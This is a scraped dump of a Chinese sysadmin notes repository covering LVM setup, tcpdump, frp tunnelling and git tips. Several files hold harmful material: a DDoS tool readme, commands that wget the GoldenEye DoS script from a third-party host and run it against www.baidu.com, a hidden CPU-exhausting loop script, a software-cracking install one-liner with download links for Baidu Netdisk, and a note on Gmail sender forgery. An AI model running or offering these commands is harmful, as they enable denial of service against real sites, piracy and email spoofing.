(util-linux 2.23.2). 8 | 9 | Changes will remain in memory only, until you decide to write them. 10 | Be careful before using the write command. 11 | 12 | Device does not contain a recognized partition table 13 | Building a new DOS disklabel with disk identifier 0xd94249ed. 14 | 15 | Command (m for help): n ----输入 n 16 | Partition type: 17 | p primary (0 primary, 0 extended, 4 free) 18 | e extended 19 | Select (default p): p ----输入 p 20 | Partition number (1-4, default 1): ----输入回车 21 | First sector (2048-419430399, default 2048): ----输入回车 22 | Using default value 2048 23 | Last sector, +sectors or +size{K,M,G} (2048-419430399, default 419430399): 24 | Using default value 419430399 25 | Partition 1 of type Linux and of size 200 GiB is set 26 | 27 | Command (m for help): t ----输入 t 28 | Selected partition 1 29 | Hex code (type L to list all codes): 8e ----输入 8e 30 | Changed type of partition 'Linux' to 'Linux LVM' 31 | 32 | Command (m for help): w ----输入 w 33 | The partition table has been altered! 34 | 35 | Calling ioctl() to re-read partition table. 36 | Syncing disks. 37 | [root@app-server005 ~]# 38 | 39 | pvcreate /dev/vdb1 40 | vgcreate vg_group /dev/vdb1 41 | vgdisplay 42 | lvcreate -L 199G -n vg_data vg_group 43 | mkfs.xfs /dev/vg_group/vg_data 44 | mkdir -p /data0/ 45 | echo "/dev/mapper/vg_group-vg_data /data0/ xfs defaults 0 0" >> /etc/fstab 46 | mount -a 47 | ``` 48 | -------------------------------------------------------------------------------- /LVM/阿里云云盘扩容.md: -------------------------------------------------------------------------------- 1 | ``` 2 | yum install -y lvm2 3 | fdisk -l 4 | fdisk /dev/vdb 5 | 6 | [root@app-server005 ~]# fdisk /dev/vdb 7 | Welcome to fdisk (util-linux 2.23.2). 8 | 9 | Changes will remain in memory only, until you decide to write them. 10 | Be careful before using the write command. 11 | 12 | Device does not contain a recognized partition table 13 | Building a new DOS disklabel with disk identifier 0xd94249ed. 14 | 15 | Command (m for help): n ----输入 n 16 | Partition type: 17 | p primary (0 primary, 0 extended, 4 free) 18 | e extended 19 | Select (default p): p ----输入 p 20 | Partition number (1-4, default 1): ----输入回车 21 | First sector (2048-419430399, default 2048): ----输入回车 22 | Using default value 2048 23 | Last sector, +sectors or +size{K,M,G} (2048-419430399, default 419430399): 24 | Using default value 419430399 25 | Partition 1 of type Linux and of size 200 GiB is set 26 | 27 | Command (m for help): t ----输入 t 28 | Selected partition 1 29 | Hex code (type L to list all codes): 8e ----输入 8e 30 | Changed type of partition 'Linux' to 'Linux LVM' 31 | 32 | Command (m for help): w ----输入 w 33 | The partition table has been altered! 34 | 35 | Calling ioctl() to re-read partition table. 36 | Syncing disks. 37 | [root@app-server005 ~]# 38 | 39 | pvcreate /dev/vdb1 40 | vgcreate vg_group /dev/vdb1 41 | vgdisplay 42 | lvcreate -L 199G -n vg_data vg_group 43 | mkfs.xfs /dev/vg_group/vg_data 44 | mkdir -p /data0/ 45 | echo "/dev/mapper/vg_group-vg_data /data0/ xfs defaults 0 0" >> /etc/fstab 46 | mount -a 47 | ``` 48 | 49 | 参考文档: 50 | 51 | https://help.aliyun.com/document_detail/25452.html?spm=5176.2020520101.0.0.45964df5LjC5Se 扩展分区和文件系统_Linux数据盘 52 | -------------------------------------------------------------------------------- /Nessus/README.md: -------------------------------------------------------------------------------- 1 | 漏洞扫描器 2 | 3 | https://www.cnblogs.com/cheyunhua/p/8084459.html 4 | -------------------------------------------------------------------------------- /Nessus/快速端口识别与服务监控.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.freebuf.com/articles/system/198767.html Bash实现快速端口识别与服务监控 4 | -------------------------------------------------------------------------------- /Rabbitmq/Linux 部署 RabbitMQ 集群.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 参考文档: 4 | 5 | https://segmentfault.com/a/1190000017563457 Linux 部署 RabbitMQ 集群 6 | -------------------------------------------------------------------------------- /Rabbitmq/为什么会需要消息队列(MQ).md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.cnblogs.com/centos2017/p/10451411.html 为什么会需要消息队列(MQ)? 4 | -------------------------------------------------------------------------------- /Tcpdump/tcping 工具总结.md: -------------------------------------------------------------------------------- 1 | ``` 2 | yum install tcptraceroute -y 3 | 4 | wget http://www.vdberg.org/~richard/tcpping 5 | 6 | mv tcpping /usr/bin/ 7 | 8 | cd /usr/bin 9 | 10 | chmod 755 tcpping 11 | 12 | ./tcpping www.aliyun.com 80 13 | ``` 14 | 15 | ``` 16 | #服务端抓包 17 | root># tcpdump -i any -n host 120.222.122.122 and port 1194 18 | tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 19 | listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes 20 | 14:30:43.568678 IP 120.222.122.122.59762 > 172.32.0.12.openvpn: Flags [SEW], seq 748089256, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 276147467 ecr 0,sackOK,eol], length 0 21 | 14:30:43.568828 IP 172.32.0.12.openvpn > 120.222.122.122.59762: Flags [S.E], seq 2541597107, ack 748089257, win 28960, options [mss 1460,sackOK,TS val 3013183556 ecr 276147467,nop,wscale 9], length 0 22 | 14:30:44.572621 IP 120.222.122.122.59762 > 172.32.0.12.openvpn: Flags [S], seq 748089256, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 276148467 ecr 0,sackOK,eol], length 0 23 | 14:30:44.572672 IP 172.32.0.12.openvpn > 120.222.122.122.59762: Flags [S.E], seq 2541597107, ack 748089257, win 28960, options [mss 1460,sackOK,TS val 3013184560 ecr 276147467,nop,wscale 9], length 0 24 | 14:30:45.577707 IP 120.222.122.122.59762 > 172.32.0.12.openvpn: Flags [S], seq 748089256, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 276149467 ecr 0,sackOK,eol], length 0 25 | 26 | 27 | #客户端测试 28 | telnet 103.106.208.232 1194 29 | 发现不通 30 | ``` 31 | 32 | 参考文档: 33 | 34 | https://www.cnblogs.com/jonnyan/p/9662791.html 35 | -------------------------------------------------------------------------------- /Tcpdump/tcp抓包ping.md: -------------------------------------------------------------------------------- 1 | # tcpdump抓取ping包 2 | ``` 3 | ``` 4 | -------------------------------------------------------------------------------- /apm/README.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.jianshu.com/p/ffc597bb4ce8 全链路监控Jaeger搭建实战 4 | 5 | https://github.com/jaegertracing/jaeger 6 | -------------------------------------------------------------------------------- /baidu/README.md: -------------------------------------------------------------------------------- 1 | # 百度网盘SVIP破解 2 | 3 | windows:https://www.lanzous.com/i2mdj8j 4 | 5 | mac:https://www.lanzous.com/i2mdmgf 6 | 7 | Android:https://www.lanzous.com/i2mdiyj 8 | 9 | 项目地址: https://github.com/Lancger/BaiduNetdiskPlugin-macOS 10 | 11 | 安装方法 12 | 13 | ``` 14 | cd ~/Downloads && rm -rf BaiduNetdiskPlugin-macOS && git clone https://github.com/CodeTips/BaiduNetdiskPlugin-macOS.git && ./BaiduNetdiskPlugin-macOS/Other/Install.sh 15 | ``` 16 | 17 | 卸载 18 | 19 | ``` 20 | cd ~/Downloads && ./BaiduNetdiskPlugin-macOS/Other/Uninstall.sh 21 | ``` 22 | 23 | 破解完成后打开百度网盘会提示让你输入密码,访问钥匙串权限。 24 | 25 | 26 | 如果不想输入密码,请在终端输入【sudo chown -R $(whoami)/Application/百度网盘】,点击回车,如图: 27 | ``` 28 | sudo chown -R $(whoami) /Applications/BaiduNetdisk_mac.app 29 | ``` 30 | 31 | 输入Mac密码(密码输入不可见),点击回车,完成! 32 | 33 | 参考资料: 34 | 35 | https://www.jianshu.com/p/1d1763e2782f 36 | 37 | mac百度网盘SVIP不限速破解版 2018 for Mac 38 | -------------------------------------------------------------------------------- /ddos/README.md: -------------------------------------------------------------------------------- 1 | ddos 2 | 3 | DDOS tool in python. 4 | 5 | =============== usage ============= 6 | 7 | python attack.py [option] http://www.firefoxbug.net/ 8 | 9 | -h : help 10 | 11 | -t : lasting time of ddos 12 | 13 | -c : numbers of thread to create 14 | -------------------------------------------------------------------------------- /ddos/goldeye.py: -------------------------------------------------------------------------------- 1 | ``` 2 | wget -O /tmp/goldeneye.py www.iloli.kim/goldeneye.py 3 | 4 | chmod +x /tmp/goldeneye.py 5 | 6 | /tmp/goldeneye.py http://www.baidu.com 7 | 8 | /tmp/goldeneye.py www.baidu.com/ -s 300 -w 300 9 | ``` 10 | 11 | https://www.56qqw.cn/?post=188 12 | -------------------------------------------------------------------------------- /ddos/消耗CPU资源的shell脚本.md: -------------------------------------------------------------------------------- 1 | ``` 2 | cat > /tmp/.a.sh << \EOF 3 | #! /bin/sh 4 | # filename killcpu.sh 5 | if [ $# != 1 ] ; then 6 | echo "USAGE: $0 " 7 | exit 1; 8 | fi 9 | for i in `seq $1` 10 | do 11 | echo -ne " 12 | i=0; 13 | while true 14 | do 15 | i=i+1; 16 | done" | /bin/sh & 17 | pid_array[$i]=$! ; 18 | done 19 | 20 | for i in "${pid_array[@]}"; do 21 | echo 'kill ' $i ';'; 22 | done 23 | EOF 24 | chmod +x /tmp/.a.sh && sh /tmp/.a.sh 3 25 | ``` 26 | 参考资料: 27 | 28 | https://www.cnblogs.com/killkill/archive/2010/09/08/1821496.html 消耗CPU资源的shell脚本 29 | -------------------------------------------------------------------------------- /frp/README.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | #服务端配置 3 | [root@VM_0_10_centos frp]# cat frps.ini 4 | [common] 5 | bind_port = 7000 6 | dashboard_port = 7500 7 | token = 123456 8 | dashboard_user = admin 9 | dashboard_pwd = admin 10 | vhost_http_port = 80 11 | vhost_https_port = 443 12 | 13 | #客户端配置 14 | root># cat frpc.ini 15 | [common] 16 | server_addr = 120.x.x.x #公网服务器IP 17 | server_port = 7000 18 | token = 123456 19 | 20 | [ssh] 21 | type = tcp 22 | local_ip = 192.168.56.11 #内网服务器IP 23 | local_port = 22 24 | remote_port = 6000 25 | 26 | [web] 27 | type = http 28 | local_port = 80 29 | custom_domains = www.test.club 30 | 31 | #访问测试,绑定host 32 | 120.x.x.x www.test.club 33 | http://www.test.club/ 34 | ``` 35 | 参考文档: 36 | 37 | https://sspai.com/post/52523 为什么需要内网穿透功能 38 | 39 | https://www.jianshu.com/p/00c79df1aaf0 一款很好用的内网穿透工具--FRP 40 | -------------------------------------------------------------------------------- /gitlab/git clone设置走ss代理.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | #全局代理 3 | git config --global http.proxy 'socks5://127.0.0.1:1080' 4 | git config --global https.proxy 'socks5://127.0.0.1:1080' 5 | 6 | #还有针对 github.com 的单独配置 7 | 8 | #只对github.com 9 | git config --global http.https://github.com.proxy socks5://127.0.0.1:1080 10 | 11 | #取消代理 12 | git config --global --unset http.https://github.com.proxy 13 | ``` 14 | 15 | 参考资料: 16 | 17 | https://blog.csdn.net/isea533/article/details/84748009?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase 18 | -------------------------------------------------------------------------------- /gitlab/gitlab_ci/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /gitlab/git切换分支.md: -------------------------------------------------------------------------------- 1 | # 一、git命令-切换分支 2 | Git一般有很多分支,我们clone到本地的时候一般都是master分支,那么如何切换到其他分支呢?主要命令如下: 3 | 4 | ### 1. 查看远程分支 5 | ```bash 6 | git branch -a 7 | ``` 8 | 我在mxnet根目录下运行以上命令: 9 | ```bash 10 | ~/mxnet$ git branch -a 11 | * master 12 | remotes/origin/HEAD -> origin/master 13 | remotes/origin/master 14 | remotes/origin/nnvm 15 | remotes/origin/piiswrong-patch-1 16 | remotes/origin/v0.9rc1 17 | ``` 18 | 可以看到,我们现在在master分支下 19 | 20 | ### 2. 查看本地分支 21 | ```bash 22 | ~/mxnet$ git branch 23 | * master 24 | ``` 25 | ### 3. 切换分支 26 | ```bash 27 | $ git checkout -b v0.9rc1 origin/v0.9rc1 28 | Branch v0.9rc1 set up to track remote branch v0.9rc1 from origin. 29 | Switched to a new branch 'v0.9rc1' 30 | ``` 31 | ### 已经切换到v0.9rc1分支了 32 | ```bash 33 | $ git branch 34 | master 35 | * v0.9rc1 36 | ``` 37 | ### 切换回master分支 38 | ```bash 39 | $ git checkout master 40 | Switched to branch 'master' 41 | Your branch is up-to-date with 'origin/master'. 42 | ``` 43 | 44 | 参考资料: https://www.cnblogs.com/smiler/p/6924583.html 45 | -------------------------------------------------------------------------------- /gitlab/git指定私钥.md: -------------------------------------------------------------------------------- 1 | ``` 2 | cat >/usr/local/bin/git.sh << \EOF 3 | #!/bin/bash 4 | 5 | # The MIT License (MIT) 6 | # Copyright (c) 2013 Alvin Abad 7 | 8 | if [ $# -eq 0 ]; then 9 | echo "Git wrapper script that can specify an ssh-key file 10 | Usage: 11 | git.sh -i ssh-key-file git-command 12 | " 13 | exit 1 14 | fi 15 | 16 | # remove temporary file on exit 17 | trap 'rm -f /tmp/.git_ssh.$$' 0 18 | 19 | if [ "$1" = "-i" ]; then 20 | SSH_KEY=$2; shift; shift 21 | echo "ssh -i $SSH_KEY \$@" > /tmp/.git_ssh.$$ 22 | chmod +x /tmp/.git_ssh.$$ 23 | export GIT_SSH=/tmp/.git_ssh.$$ 24 | fi 25 | 26 | # in case the git command is repeated 27 | [ "$1" = "git" ] && shift 28 | 29 | # Run the git command 30 | git "$@" 31 | EOF 32 | 33 | 34 | chmod +x /usr/local/bin/git.sh 35 | 36 | git.sh -i /opt/jenkins/.ssh/common_id_rsa git pull git@gitlab.com:cmdb/publish_project_package.git 37 | ``` 38 | https://www.jianshu.com/p/33d72b87452d 39 | -------------------------------------------------------------------------------- /gitlab/git问题汇总.md: -------------------------------------------------------------------------------- 1 | ## 1、Git版本导致的 2 | 3 | ``` 4 | root># git clone https://github.com/simplresty/ngx_devel_kit.git 5 | Initialized empty Git repository in /usr/local/src/ngx_devel_kit/.git/ 6 | error: while accessing https://github.com/simplresty/ngx_devel_kit.git/info/refs 7 | 8 | fatal: HTTP request failed 9 | 10 | #问题原因是:是curl 版本问题,更新curl版本后问题解决(或者升级git版本) 11 | 12 | yum update -y nss curl libcurl 13 | ``` 14 | -------------------------------------------------------------------------------- /gitlab/使用之Git回退到某个历史版本.md: -------------------------------------------------------------------------------- 1 | ## 1.查看历史版本 2 | 查看所有的历史版本,获取你git的某个历史版本的id 3 | ``` 4 | git log 5 | ``` 6 | ## 2.恢复到历史版本 7 | ``` 8 | git reset --hard fae6966548e3ae76cfa7f38a461c438cf75ba965 9 | ``` 10 | 11 | ## 3.把修改推到远程服务器 12 | ``` 13 | git push -f -u origin master 14 | ``` 15 | 16 | 17 | 参考文档: 18 | 19 | https://blog.csdn.net/our_times/article/details/83547830 20 | -------------------------------------------------------------------------------- /gmail/README.md: -------------------------------------------------------------------------------- 1 | # Gmail安全校验 2 | 3 | ```bash 4 | https://toolbox.googleapps.com/apps/checkmx/check?domain=test.com&dkim_selector= 5 | ``` 6 | 7 | # 使用From Fields进行Gmail邮件伪造 8 | ```bash 9 | https://www.360zhijia.com/anquan/431382.html 10 | 11 | smtp.mailfrom From 没做校验 12 | 13 | Gmail的bug 没识别 发件人 14 | ``` 15 | # SPF records 16 | ```bash 17 | https://support.google.com/a/answer/33786?hl=en 18 | https://support.google.com/a/answer/33786?hl=ch 19 | 20 | ``` 21 | # DKIM 加强安全 22 | ```bash 23 | https://support.google.com/a/answer/2466563 启用 DMARC 24 | 25 | https://www.cnblogs.com/dmarcly/p/10947796.html DMARC 是什么? 26 | ``` 27 | -------------------------------------------------------------------------------- /gmail/安卓手机使用google paly.md: -------------------------------------------------------------------------------- 1 | 第一步: 2 | 下载豌豆夹软件管理器,搜索GG服务框架安装,完成谷歌四件套的安装(谷歌服务框架,谷歌账户管理 ,google paly, google play服务) 3 | 4 | 第二步: 5 | 在能翻墙的电脑上,进入这个连接 https://accounts.google.com/b/0/displayunlockcaptcha ,点击继续,你就完成了将谷歌账号授权在新设备上添加的步骤,授权新设备允许登录 6 | 7 | 第三步: 8 | 降低谷歌账号对安全性的要求 9 | 谷歌会自动检测并禁止你的谷歌账号在它认为不够安全的设备或者应用上登录,这时候就会一直出现check information。我们可以暂时关掉这个功能,进入https://www.google.com/settings/u/1/security/lesssecureapps 然后关掉这个选项就可以了。 10 | 完成这两步之后,你在自己的手机上试试使用google play, 大约check information 六分钟之后,就进入应用商店了。 11 | 12 | 参考资料: 13 | 14 | https://nekosc.com/technology/fix_google_play_df.html/comment-page-1 修复Play商店出现的 DF-DFERH-01 错误 15 | -------------------------------------------------------------------------------- /images/ELFK.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/ELFK.png -------------------------------------------------------------------------------- /images/GitLab-CI-Runner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/GitLab-CI-Runner.png -------------------------------------------------------------------------------- /images/MHA测试架构.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/MHA测试架构.png -------------------------------------------------------------------------------- /images/Shared Runner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/Shared Runner.png -------------------------------------------------------------------------------- /images/Specific Runner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/Specific Runner.png -------------------------------------------------------------------------------- /images/action-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/action-01.png -------------------------------------------------------------------------------- /images/action-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/action-02.png -------------------------------------------------------------------------------- /images/action-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/action-03.png -------------------------------------------------------------------------------- /images/action-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/action-04.png -------------------------------------------------------------------------------- /images/alertmanager-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/alertmanager-01.png -------------------------------------------------------------------------------- /images/cat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/cat.png -------------------------------------------------------------------------------- /images/cgroup.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/cgroup.jpg -------------------------------------------------------------------------------- /images/check_boxes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/check_boxes.png -------------------------------------------------------------------------------- /images/check_boxes1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/check_boxes1.png -------------------------------------------------------------------------------- /images/cmdb_api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/cmdb_api.png -------------------------------------------------------------------------------- /images/consul-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/consul-01.png -------------------------------------------------------------------------------- /images/consul-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/consul-02.png -------------------------------------------------------------------------------- /images/consul-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/consul-03.png -------------------------------------------------------------------------------- /images/consul-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/consul-04.png -------------------------------------------------------------------------------- /images/consul-05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/consul-05.png -------------------------------------------------------------------------------- /images/consul-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/consul-06.png -------------------------------------------------------------------------------- /images/consul-51-01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/consul-51-01.jpg -------------------------------------------------------------------------------- /images/consul-acl-token.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/consul-acl-token.png -------------------------------------------------------------------------------- /images/docker-consul-node.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/docker-consul-node.jpg -------------------------------------------------------------------------------- /images/ecs_lvm_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/ecs_lvm_01.png -------------------------------------------------------------------------------- /images/ecs_lvm_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/ecs_lvm_02.png -------------------------------------------------------------------------------- /images/ecs_lvm_03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/ecs_lvm_03.png -------------------------------------------------------------------------------- /images/ecs_lvm_04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/ecs_lvm_04.png -------------------------------------------------------------------------------- /images/ecs_lvm_05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/ecs_lvm_05.png -------------------------------------------------------------------------------- /images/ecs_lvm_06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/ecs_lvm_06.png -------------------------------------------------------------------------------- /images/elasticsearch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch.png -------------------------------------------------------------------------------- /images/elasticsearch_dev.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_dev.png -------------------------------------------------------------------------------- /images/elasticsearch_dis.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_dis.png -------------------------------------------------------------------------------- /images/elasticsearch_get.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_get.png -------------------------------------------------------------------------------- /images/elasticsearch_lucene.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_lucene.png -------------------------------------------------------------------------------- /images/elasticsearch_mapping.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_mapping.png -------------------------------------------------------------------------------- /images/elasticsearch_restfull.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_restfull.png -------------------------------------------------------------------------------- /images/elasticsearch_scripts.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_scripts.png -------------------------------------------------------------------------------- /images/elasticsearch_solr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_solr.png -------------------------------------------------------------------------------- /images/elasticsearch_transport.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch_transport.png -------------------------------------------------------------------------------- /images/elasticsearch架构.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/elasticsearch架构.png -------------------------------------------------------------------------------- /images/es-hot-cold.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/es-hot-cold.png -------------------------------------------------------------------------------- /images/filebeat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/filebeat.png -------------------------------------------------------------------------------- /images/git.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/git.png -------------------------------------------------------------------------------- /images/git_ci_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/git_ci_01.png -------------------------------------------------------------------------------- /images/grafana-consul-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-consul-01.png -------------------------------------------------------------------------------- /images/grafana-pro-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-pro-01.png -------------------------------------------------------------------------------- /images/grafana-pro-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-pro-02.png -------------------------------------------------------------------------------- /images/grafana-pro-new.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-pro-new.jpg -------------------------------------------------------------------------------- /images/grafana-pro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-pro.png -------------------------------------------------------------------------------- /images/grafana-zabbix-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-01.png -------------------------------------------------------------------------------- /images/grafana-zabbix-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-02.png -------------------------------------------------------------------------------- /images/grafana-zabbix-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-03.png -------------------------------------------------------------------------------- /images/grafana-zabbix-consul-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-consul-01.png -------------------------------------------------------------------------------- /images/grafana-zabbix-consul-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-consul-02.png -------------------------------------------------------------------------------- /images/grafana-zabbix-consul-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-consul-03.png -------------------------------------------------------------------------------- /images/grafana-zabbix-consul-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-consul-04.png -------------------------------------------------------------------------------- /images/grafana-zabbix-consul-05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-consul-05.png -------------------------------------------------------------------------------- /images/grafana-zabbix-consul-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafana-zabbix-consul-06.png -------------------------------------------------------------------------------- /images/grafna-load-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafna-load-2.jpg -------------------------------------------------------------------------------- /images/grafna-load.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/grafna-load.jpg -------------------------------------------------------------------------------- /images/image-20211216223301230.png: 